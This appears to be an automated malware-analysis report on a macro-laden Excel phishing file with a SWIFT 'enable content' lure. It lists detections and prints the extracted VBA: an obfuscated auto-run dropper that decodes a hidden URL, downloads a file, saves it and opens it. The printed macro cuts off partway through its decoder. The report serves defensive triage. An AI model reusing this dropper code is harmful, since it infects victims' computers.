Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fa5179312a45ef38…

MALICIOUS

Office (OLE)

243.0 KB Created: 2020-07-16 15:39:13 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: c43243af593d5ce1d707b954d7ef3d37 SHA-1: e7d70d21baaae4c7a94afea43f84ee55698920a9 SHA-256: fa5179312a45ef383e584509dca510f262ba0d0469ea17ed9fe31ea075d5323b
418 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel file containing obfuscated VBA macros, including Workbook_Open and Auto_Open routines, which are designed to execute automatically. Heuristics indicate the macros download and execute a file from the internet using WScript.Shell and CreateObject, a common technique for dropping second-stage payloads. The document body displays a lure to "Enable content to display this transaction SWIFT", suggesting a phishing or scam pretext.

Heuristics 12

  • ClamAV: Xls.Macro.Obfuscation-9804250-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Macro.Obfuscation-9804250-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    YHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOF = IPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRI.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16110 bytes
SHA-256: 8102b94424e6583abcaa454788718430937da1ce173a24a6c80284388c296bcf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 69 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Dilp()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare Function etTime Lib "winmm.dll" () As Long


Private Declare Function timeGetTime Lib "winmm.dll" () As Long

Private Declare PtrSafe Function imeGetTime Lib "winmm.dll" () As Long

Private Declare PtrSafe Function meGetTime Lib "winmm.dll" () As Long



Sub Auto_Open()
descifrar = AllUsersProfile
Run
End Sub

Function rnIkDDisHp4e1dEwtDO8XRgW() As Currency
Call t5IOznwCrl
End Function
Static Function t5IOznwCrl() As Integer
Call Dp62rz6kt90kDRkudpcs1fW4
End Function
Function Dp62rz6kt90kDRkudpcs1fW4() As Single
Call Jb8AvPk2VR
End Function
Static Function Jb8AvPk2VR() As Date
Call TJW8h3uwBHyE3XYkFXIADNkq
End Function
Function TJW8h3uwBHyE3XYkFXIADNkq() As Variant
Call JxU0xFkI7x
End Function
Static Function JxU0xFkI7x() As Date
Call rzGwrPUM9xS2rvCsRX6OdVek
End Function
Function rzGwrPUM9xS2rvCsRX6OdVek() As Variant
Call hx2errEArb
End Function
Static Function hx2errEArb() As Double
Call DlkYXBK4r3WCbBQoVfs4z78E
End Function
Function DlkYXBK4r3WCbBQoVfs4z78E() As Single
Call FZ4yZPaWVH
End Function

Private Sub Workbook_Open()
Dim SZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMK As Integer
SZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMK = Chr(50) + Chr(48) + Chr(48)
  Dim WshShell As Object
    Dim SpecialPath As String

    Set WshShell = CreateObject("WScript.Shell")
    SpecialPath = WshShell.SpecialFolders("Templates")
Dim ZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQW
Dim YHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOF
Dim DLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVD
Dim VVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZEC
Dim DKVPTGDRSJSVZUKOPOQCGJYFFMOQMYGCULMWLNUSKQDDQVCPZPBKWKPMVNYQVYWDLSWXCNLZBRUEIDSQQPSKORZNNUPRNZOEDTNXTOVBRRLLYDJXHWJSXSROWVHYEHFLTTFFKVMBJZDMQLBYYXBSPSIVOWXZVIWLECVGBWEJZ
Dim FGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEK As Integer
Dim IPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRI
Dim TDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXE
FGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEK = 1




Set IPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRI = CreateObject("microsoft.xmlhttp")
Set DKVPTGDRSJSVZUKOPOQCGJYFFMOQMYGCULMWLNUSKQDDQVCPZPBKWKPMVNYQVYWDLSWXCNLZBRUEIDSQQPSKORZNNUPRNZOEDTNXTOVBRRLLYDJXHWJSXSROWVHYEHFLTTFFKVMBJZDMQLBYYXBSPSIVOWXZVIWLECVGBWEJZ = CreateObject("Shell.Application")

VVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZEC = SpecialPath + Decrypt("iXWdSa[Ya;n„n")
IPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRI.Open "get", Decrypt("q~~z}G<<z|y~n}~v‡r}wy‚sxp};n}<�|yvz<ƒn xn} ‡…;n„n"), False
IPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRI.send
YHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOF = IPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRI.responseBody
If IPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRI.Status = 200 Then
Set ZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQW = CreateObject("adodb.stream")
ZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQW.Open
ZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQW.Type = FGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEK
ZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQW.Write YHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOF
ZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQW.SaveToFile VVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZEC, FGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEK + FGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEK
ZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZECQYIRBYTJNNNPIEIXEDLNOKWFBSKLVJMSXIPJCPBZOFNHIVJOLUSEPCXVCKRCVBMKYZPZDHCRVVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQW.Close
End If
DKVPTGDRSJSVZUKOPOQCGJYFFMOQMYGCULMWLNUSKQDDQVCPZPBKWKPMVNYQVYWDLSWXCNLZBRUEIDSQQPSKORZNNUPRNZOEDTNXTOVBRRLLYDJXHWJSXSROWVHYEHFLTTFFKVMBJZDMQLBYYXBSPSIVOWXZVIWLECVGBWEJZ.Open (VVVXJMQFMLTVWSFMJBSTERTBZQXKKXCIWGVIQEQWTDUGXDGEKSZEEJUSHIXBLPJZWXWYRUYHUTCWXTGUKJZUFZVCHYYSSGKQFOEQYFYXUEDOGLOMRBBLMRDTIQGJTWRIFGFHZWZPDVDFGCODSKIDNIEKPHHBTHSYGWFYBNHGDMLVHTWUZCJTUZEC)
End Sub

Public Function Decrypt(WONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQG As String) As String

Const LLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQ    As String = "abcdefghijklmnopqrstuvwxyz"
Const NIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUU      As String = "zebrascdfghijklmnopqtuvwxy"
Const TWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLV    As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Const LWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIY      As String = "ZEBRASCDFGHIJKLMNOPQTUVWXY"

Dim ZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ            As Long
Dim FVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRW            As Long
Dim ONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYN      As String
Dim FNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJT       As String
Dim Fssyh As Byte
Fssyh = Jhbn10Op

If WONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQG & "" = "" Then Exit Function


For ZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ = 1 To Len(WONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQG)
    ONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYN = ONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYN & Chr(Asc(Mid(WONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQG, ZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ, 1)) - 13)
Next


For ZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ = 1 To Len(ONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYN)

    FNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJT = Mid(ONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYN, ZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZ, 1)

    Select Case Asc(FNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJT)

        Case 65 To 90
            For FVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRW = 1 To Len(LWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIY)
                If Mid(LWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIY, FVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRW, 1) = FNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJT Then GoTo USub
            Next
USub:
            Decrypt = Decrypt & Mid(TWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLV, FVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRW, 1)

        Case 97 To 122
            For FVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRW = 1 To Len(NIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUU)
                If Mid(NIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUU, FVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRW, 1) = FNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJT Then GoTo LSub
            Next
LSub:
